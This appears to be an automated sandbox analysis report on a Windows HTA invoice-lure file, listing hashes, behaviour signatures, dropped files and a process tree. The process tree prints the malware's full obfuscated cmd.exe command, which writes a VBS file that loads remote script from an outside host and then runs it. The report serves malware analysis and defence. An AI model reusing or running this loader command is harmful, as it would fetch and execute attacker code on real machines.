Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    24-11-2023 07:32

General

  • Target

    Fatura_656051348d33e.hta

  • Size

    6KB

  • MD5

    949c31ef676421ed110fe90954c933e9

  • SHA1

    0b48fe1392d2b0cca8fca163cdf78eb9d69cd43b

  • SHA256

    4eac8a05a1c66703ea0096e81cf9b94de832ef818910c7bd4af3c492068d6d60

  • SHA512

    e2558a1ab4e0d1eef1280b4054e5edef8d5de653c528fb9bf6f5418bff7ba4ff4aa875d65ea48dcb94ec29257166a87da012cd9edd9e6203dcc48f7e84e048f8

  • SSDEEP

    192:CLUjbMJ/kt7yuM4P1CBUhUIqhxEuS6E+flmkDNUuZz/CsCUkoTTFJR3RVIxNeRp2:CLzVF+akf

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Fatura_656051348d33e.hta"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2244
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /V/D/c echo|set /p=^"W3RdQqD12=".":xIwt86="i":FpYl50="g":Jv372=":":GetO^">C:\Users\Public\\FZ4RO62.vbs&echo|set /p=^"bject("sCr"+xIwt86+"pt"+Jv372+"hT"+"Tps"+Jv372+"//contadormag"+W3RdQqD12+"top//"+FpYl50+"1")^">>C:\Users\Public\\FZ4RO62.vbs&c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\FZ4RO62.vbs
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2384
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo"
        3⤵
          PID:2596
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" set /p="W3RdQqD12=".":xIwt86="i":FpYl50="g":Jv372=":":GetO" 1>C:\Users\Public\\FZ4RO62.vbs"
          3⤵
            PID:2684
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo"
            3⤵
              PID:2704
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" set /p="bject("sCr"+xIwt86+"pt"+Jv372+"hT"+"Tps"+Jv372+"//contadormag"+W3RdQqD12+"top//"+FpYl50+"1")" 1>>C:\Users\Public\\FZ4RO62.vbs"
              3⤵
                PID:2712
              • \??\c:\windows\SysWOW64\cmd.exe
                c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\FZ4RO62.vbs
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2688
                • C:\Windows\SysWOW64\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\Users\Public\FZ4RO62.vbs"
                  4⤵
                  • Blocklisted process makes network request
                  • Modifies system certificate store
                  PID:2284

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

            Filesize

            344B

            MD5

            57709d5228a4a61b62f272ccc07adea6

            SHA1

            6fe4632fada36f30f2231e8f36b254239601d36b

            SHA256

            abbc32423bae026818592bf9ff6943328a3665d8ed9192ee741b2173e29b9097

            SHA512

            7cdddb239358ddda04ca23006881b049533b1b8ed1fb1f79dfd8741e5a43e634b69036365bcc1d4d9079351518d2d72fba8bb6ab8e474cf83333e0ded44e0e81

          • C:\Users\Admin\AppData\Local\Temp\Cab9C13.tmp

            Filesize

            61KB

            MD5

            f3441b8572aae8801c04f3060b550443

            SHA1

            4ef0a35436125d6821831ef36c28ffaf196cda15

            SHA256

            6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

            SHA512

            5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

          • C:\Users\Admin\AppData\Local\Temp\Tar9CE0.tmp

            Filesize

            163KB

            MD5

            9441737383d21192400eca82fda910ec

            SHA1

            725e0d606a4fc9ba44aa8ffde65bed15e65367e4

            SHA256

            bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

            SHA512

            7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

          • C:\Users\Public\FZ4RO62.vbs

            Filesize

            50B

            MD5

            e6c6558ab69f9be0bc60fa3d3bb01fe6

            SHA1

            4ad8560a72600fbb2202babd763c3ad40d2dcf34

            SHA256

            1d151cea88aad8f3dc21d268404e35ef4a111e42c66bbf2811c8bcc3c0b760bf

            SHA512

            2fda11848bd18b21b9c308081c6c08de1bf79fd7cb994e8b45531c81774e84839612a9ddbd8fae8abc2b294b56feb49e9f47be693c14034662c50138f158bf7d

          • C:\Users\Public\FZ4RO62.vbs

            Filesize

            142B

            MD5

            538a77a728fe96be454be287c2cd9979

            SHA1

            a645d7ab705ad282eeab2e92bb69cd5673a0fed0

            SHA256

            59adeae3354bda849685af2f027dcdd879aad9fa9e86adce1018a78a2011eb78

            SHA512

            6927a43f30488ac0053c94c2cf79c6f7772fa48855036e14c2dc6e0d337fe80fb7f0c1a50d06bf0b6190155621bb467b00b9c438b2ac9963a078fd8f8b048fa0